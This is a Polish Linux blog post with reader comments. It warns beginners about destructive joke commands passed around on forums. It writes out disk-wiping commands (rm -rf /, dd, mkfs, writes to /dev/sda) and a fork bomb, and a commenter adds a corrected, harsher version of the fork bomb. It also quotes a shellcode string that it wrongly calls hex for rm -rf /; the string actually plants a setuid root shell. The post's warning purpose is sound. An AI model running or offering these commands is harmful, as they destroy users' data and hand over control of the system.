Przejdź na skróty do treści. | Przejdź do nawigacji

Zapamiętaj mnie Przypomnij hasło Rejestracja
Wersja mobilna
Newsletter
Zgłoś uwagę
RSS

Blogi

rozwiń
Strona główna Blogi Linuxblog - blog o Linuksie 2010 01 Jak nie popełnić samobójstwa w Linuksie...

Linuxblog - blog o Linuksie

Jak nie popełnić samobójstwa w Linuksie...

Szukając pomocy po forach internetowych, kanałach IRC i blogach musimy ubezpieczyć się w ostrożność, gdyż przez niezrównoważone poczucie humoru niektórych użytkowników Linuksa możemy doprowadzić do autodestrukcji systemu.

rm -rf /

Chyba najbardziej rozpowszechniony sposób na pozbycie się zawartości dysku. Kasuje wszystkie pliki w katalogu / i podrzędnych(parametr 'r'), nie mówiąc nic przy tym(parametr 'f'). Trzeba też uważać na inną formę tego polecenia, np: rm -rf /var/lock/../../ - niby sugeruje, że kasujemy coś w folderze /var/lock, jednak dwie kropki w Linuksie oznaczają skoczenie do katalogu nadrzędnego, wiec w konsekwencji kasujemy /.

dd if=/dev/urandom of=/dev/sda1

Inny sposób na zniszczenie danych na dysku. Po prostu zapisuje czyste dane na dysk, bit po bicie z pliku źródłowego, uszkadzając bezpowrotnie partycje.

chmod -x /usr/bin/chmod

Komenda chmod zmienia uprawnienia plików, a parametr '-x' odbiera uprawnienie do wykonania pliku jako programu. Po wykonaniu tej komendy nie będziemy w stanie zmienić uprawnienia żadnego pliku, gdyż program wykonujący to nie będzie maił uprawnień do wykonania się.

mkfs.ext3

Po prostu utworzy pustą partycję na miejscu istniejącej, przez co zniszczy dane.

byle_jaka_komenda > /dev/sda

Podobnie jak w wypadku dd czyste dane do urządzenia blokowego, tym razem będzie to wyjście z byle jakiego programu.

:(){:|:}:;

Komenda uruchomi proces, który uruchomi dwa następne, z kolei te utworzą cztery, następnie uruchomi się osiem procesów, itd., aż do zapchania RAMu i procesora. Jedyny sposób na zabezpieczenie się przed forkbombą to ograniczenie ilości procesów dla użytkownika.

char esp [] __attribute__ ((section ( ". tekst"))) / * release ESP * / = "\ xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ X83 \ xec \ x64 \ x68" \ xff \ xff \ xff \ xff \ x68 \ xDF \ xd0 \ xDF \ xd9 \ x68 \ x8d \ x99 "" \ XDF \ x81 \ x68 \ x8d \ x92 \ xDF \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7 "" \ x56 \ X04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ X83 \ xc4 \ x74 \ x56 "" \ x8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ xcd \ x80 \ x31 "" \ xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ x62 \ x69 "" \ x6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00 "cp -- p / bin / sh / tmp / .beyond; chmod 4755 / tmp / .beyond ";

To samo co rm -rf / tylko, że szesnastkowo.

 


Ważne jest również, aby nie uruchamiać skryptów i programów niewiadomego pochodzenia, gdyż nie wiadomo co w nich siedzi. Polecam używać programów z oficjalnych repozytoriów bądź kompilowanych samemu z oficjalnych źródeł - unikniemy nieprzyjemnych niespodzianek. Paczki w repozytoriach są znaczone kluczem GPG i jeżeli jakaś nie będzie miała prawidłowego, menedżer pakietów nas o tym powiadomi.

Jeżeli ktoś ma jeszcze jakieś pomysły, chętnie przeczytam je w komentarzach.

Gość IP: 83.22.26.* 2010.01.09 20:33
do każdego prócz :(){:|:}:; potrzeba uprawnień administratora - więc nie jest proste zniszczyć komputer :> Bycie userem to jest najważniejsze bezpieczeństwo każdego systemu.
Dużo windowsiarzy o tym jeszcze nie wie :>
bhaal275
bhaal275 2010.01.09 22:09
Własnie po to w windowsie został wprowadzony UAC, który niestety dopiero pod windows 7 ale spełnia swoją rolę znakomicie.
icebreaker_
icebreaker_ 2010.01.09 22:22
Fork bomba którą przedstawił autor nie zadziała. W ciele funkcji przy nawiasach klamrowych muszą być spacje :(){ :| :& };: Pozwoliłem sobie dodać & wewnątrz funkcji - jest to bardziej wredna wersja, ponieważ tworzone procesy potomne będą niazależne od rodzica i zabicie procesu rodzica nie spowoduje zakończenia procesu potomka. Odpalenie takiej bomby nie powoduje zapchania RAM-u i procesora, jak pisze autor, lecz zapełnienie tablicy PID-ów, czyli identyfikatorów procesów - numery procesów znajdują się w katalogu /var/run/. Przeważnie maksymalna ilość procesów to 32768 - można to sprawdzić wydając polecenie cat /proc/sys/kernel/pid_max
Gość IP: 81.219.136.* 2010.01.09 22:41
Zenada. Spolecznosc linuksa to jego najgorsza cecha - pomimo ze miala byc najlepsza. Banda chamow i gowniarzy majacych pretensje ze ktokolwiek moze czegos nie wiedziec i wyzywajacy wszystkich od noobow.
Gość IP: 89.171.47.* 2010.01.10 01:03
Sami są sobie winni. Linux jest dla tych co chcą się uczyć a nie dla klikaczy.
bzz
bzz 2010.01.10 01:32
jak ktos ma sie czegos nauczyc jak juz na dizen dobry dostajesz taki prezent ktory rozpieprzy ci ci system na dizen dobry, na ktorym uzykownik siedzial troche czasu

po prostu rzuci to w cholere, po co sie denerwowac
Gość IP: 85.31.243.* 2010.01.10 02:09
Niektórzy chcą mieć ładniejszą żonę od twojej, a że mają jaszczura - ty musisz mieć większego? :O
Gość IP: 77.253.186.* 2010.01.10 03:04
Wszystkie te sztuczki wymagaja praw root'a
Kto siedzi na root'cie w celu rytynowej pracy?
Kto zabiera sie za modyfikacje systemu z poziomu wiersza polecen nie zapoznajac sie wpierw z calymi 20 podstawowymi poleceniami?
Gość IP: 77.253.186.* 2010.01.10 03:12
Ps. w kazdej spolecznosci znajda sie czarne owce - ale nieprzerysowywalbym problemu. kozystam z linuxa od lat, czesto kozystam z for internetowych jako zrodla informacji i jeszcze nigdy niespotkalem sie z opisywanym tutaj problemem.
Najgorszym co mi sie zdarzylo w wyniku sluchania rad forumowiczow bylo stracenie czasu nad rozwiazaniem ktore w moim przypadku niedzialalo - ale po dluzszym zbadaniu problemu okazalo sie, ze chociaz to rozwiazanie moze zadzialac, to jednak pewnosci nie ma bo nikt tak naprawde nie wie gdzie siedzial problem...
icebreaker_
icebreaker_ 2010.01.10 04:39
@Gość IP:77.253.186 "Wszystkie te sztuczki wymagaja praw root'a ". Mylisz się, fork bombę możesz puścić jako zwykły uzytkownik - całe szczęście powoduje ona tylko zawieszenie się komputera (jest to atak typu Denial Of Services), a i to nie zawsze, ponieważ jeżeli administrator nałoży na użytkowników rozsądny limit co do ilości jednocześnie uruchomionych przez nich procesów, to atak taki, wykonywany przez jednego użytkownika, stanie się niemożliwy - dla jego skuteczności należałoby użyć wielu kont (Distributed Denial Of Services).
"Kto zabiera sie za modyfikacje systemu z poziomu wiersza polecen nie zapoznajac sie wpierw z calymi 20 podstawowymi poleceniami?" Po przeczytaniu tego zdania mam wrażenie, że spadłeś z księżyca i nie masz pojęcia o tym, co się na świecie dzieje. W Windows znakomita większość użytkowników pracuje na koncie administratora, ale pod pingwinem również znajdziesz hardcore-ów.
Gość IP: 87.207.69.* 2010.01.10 08:56
Ja powiem tak, z takimi sytuacjami to się nie spotkałem, żeby mi ktoś chamskie komendy podawał, ale z wyzywaniem od noobow czy odpowiedziami "mi działa" spotyka się nagminnie. Jestem początkującym użytkownikiem linuxa i właściwie to używam go tylko do korzystania z internetu, poczty, komunikatora, oglądania filmów czy słuchania muzyki. Chcecie mi powiedzieć że jak chcę "np. mieć widoczną partycje Windowsa to muszę zdać trzy fakultety z linuxa? Teraz, gdy wiem jak to zrobić to prościzna, ale znalezienie prostego wytłumaczenia jak to zrobić szukałem kilka dni. W oficjalnych źródłach było to tak opisane, że nic nie rozumiałem, a na forach, no właśnie "lol poszukaj w necie, nie rób se jaj ośmiolatek by to zrobił". Pewnie że by zrobił, i "lol znalazłem w necie" ale opisane w super głupi sposób.

Linux to dla mnie sprzeczności, ma być dla wszystkich, a tylko niewielu ma wiedzieć jak go ustawić/obsługiwać. To chyba pozostałość po epoce gdy admin był bogiem i bez niego user był nikim (teraz nadal wiele osób nie umie windowsa obsługiwać, ale znacznie rzadziej niż kiedyś) Jeśli chcą żeby zwykli użytkownicy (a nie studenci informatyki) się przekonali do Linuxa, to napiszcie parę programików, które będą w sobie zawierały skrypty do zmiany podstawowych ustawień systemu i nazwijcie go "Ustawienia systemu" A gdyby zmiana wymagała uprawnień root-a, to niech wyskakuje okienko gdzie wpisujesz haslo. Czy to takie trudne?
kokojumbo
kokojumbo 2010.01.10 10:36
swojego czasu jak na slacku trochę robiłem to sporo mi podpowiedzieli na IRCu, chociaż na takie żarty trzeba uważać...
Gość IP: 89.76.161.* 2010.01.10 11:55
Gość IP:87.207.69.* 2010.01.10 08:56
Praktyka czyni mistrza, z początku używałem ubuntu bo tam sie wszystko wyklikiwało (no prawie), ale niestety ten system jest przeładowan i ma tendencje do zamulania (przynajmniej na mojim leciwym sprzęcie). Teraz używam debiana, a na fora internetowe wchodzę szukając prototypów komend, a nie ich mechanizmów działania. Kwestia czasu a i je na pamięć będę znał :) A co do artykułu, spotkałem się z tego typu żartami tyle że ich wynikiem był co najmniej warn o ile nie trzydniowy "urlop" i kasacja posta, więc moderatorzy czuwają, a to cieszy.
Gość IP: 89.72.211.* 2010.01.10 12:57
Gość IP:87.207.69.* - masz rację - minusem linuksa i reszty opensource jest usilne wciskanie wszystkoego po swojemu mimo rozwiązań przyjętych jako standard lata temu - od wyglądu przez obsługę...dlatego na osx cudnie się pracuje bo jest uproszczony do bólu i nawet uzytkownik windowsa się w nim połapie a w linuksie?pomieszanie z poplataniem plus soft na poziomie windowsa 98
Gość IP: 89.171.47.* 2010.01.10 14:07
"Gość IP:87.207.69.* - masz rację - minusem linuksa i reszty opensource jest usilne wciskanie wszystkoego po swojemu mimo rozwiązań przyjętych jako standard lata temu - od wyglądu przez obsługę...dlatego na osx cudnie się pracuje bo jest uproszczony do bólu i nawet uzytkownik windowsa się w nim połapie a w linuksie?pomieszanie z poplataniem plus soft na poziomie windowsa 98"

Człowieku idź się leczyć. Nie wiesz o czym piszesz a prawisz jakbyś wszystkie rozumy pozjadał. Unix jest standardem w kwestii interfejsu użytkownika i korzystania z zasobów. Podziękuj super mądremu panu Gatesowi za to że koniecznie chciał żeby wszystko było trochę inaczej (bał się oskarżeń o plagiat) i Apple za to że skoncentrowali się na projektowaniu ładnych guziczków, na co mieli czas dzięki ograniczeniu ilości sprzętu na którym MacOS może działać. Jak czytam takie debilne teksty to chce mi się zwymiotować na klawiaturę.
Gość IP: 89.171.47.* 2010.01.10 14:09
Komentarz został usunięty ze względu na naruszenie zasad serwisu.
Gość IP: 83.26.70.* 2010.01.10 14:18
Komentarz został usunięty ze względu na naruszenie zasad serwisu.
Gość IP: 87.207.69.* 2010.01.10 14:29
po tym poście widać że w królestwie trolli są i fani linuxa:D
Gość IP: 87.205.211.* 2010.01.10 20:54
Ja chcialbym dodac jeszcze jedno.
Moze nie wszyscy zauwazyli - ale w windowsie tez jest konsola, a jak sie komus chce to mozna wykrecic o niebo lepsze numery niz w linuxie ze wzgledu na domyslna "niezbyt-bezpieczna" konfiguracje systemu.

Kto z nas niepamieta dzieciecych zabaw z printscreenem errora ustawionym na tapete czy zeby isc bardziej w kierunku "dobrych porad" zamykajacy komputer skrypt podpiety do autostartu xD
Przecierz taki "drobiazg" to dla nowego/nieobeznanego(98% populacji) uzytkownika to tzw. "umarl w butach" ;p
Gość IP: 89.76.91.* 2010.01.11 00:57
Za moich czasów... Powiedzcie czy na informatyce w szkole/na studiach macie chociaż trochę zajęć z wiersza poleceń? Niezależnie czy to konsola linuksowa, czy cmd, podstawowe polecenia czasem ratują życie, w przeciwieństwie do robienia tabelek w MS Wordzie :) Mój pierwszy komputer to był c64, druga Amisia1000, później tylko PieCe. Na studiach uczyłem się DOSa (jeszcze 3.x) i Unixa. Was uczą co najwyżej jak zrobić prezentację lub tabelkę w dokumecie :) Klikacze bezmyśnie wklejający makabryczne żary, powinni mieć chociaż blade pojęcie co robią :)
Linuxblog - blog o Linuksie
Autor: bartosz "siekacz" zasieczny
Niepoprawny politycznie użyszkodnik Ubuntu.
Liczba postów: 45
Liczba komentarzy: 787
Liczba wyświetleń: 119522
Tagi blogu: linux , systemy operacyjne
Data postu: 09.01.2010, 21:13
Liczba wyświetleń: 2098
Sonda
Wyraź swoją opinię

Telefony

Play.pl
Cena: 1.00
  • Dotykowy wyświetlacz 3,2 cala
  • Obsługa serwisów społecznościowych
  • Wi-Fi oraz GPS
  • Aparat fotograficzny 5 Mpix
Cena: 1.00
  • Odporny na pył i silny strumień wody
  • Czytelny, kontrastowy wyświetlacz
  • Duże klawisze
  • Proste, intuicyjne menu
CENEO Kup najtaniej
Nobo Quantum 4023 Nobo Quantum 4023
Dostępny w 1 sklepach
Sprawdź CENY tego produktu
Archos 101 8GB Archos 101 8GB
Dostępny w 2 sklepach
Sprawdź CENY tego produktu
Toshiba Satellite C660-16z (PSC0QE-01G00TPL) Toshiba Satellite C660-16z (PSC0QE-01G00TPL)
Dostępny w 2 sklepach
Sprawdź CENY tego produktu
XFX Radeon HD 6950 (HD-695X-ZNDC) XFX Radeon HD 6950 (HD-695X-ZNDC)
Dostępny w 2 sklepach
Sprawdź CENY tego produktu
Manhattan MICRO Hi-Speed USB 2.0 (179218) Manhattan MICRO Hi-Speed USB 2.0 (179218)
Dostępny w 3 sklepach
Sprawdź CENY tego produktu

Video

nowe filmy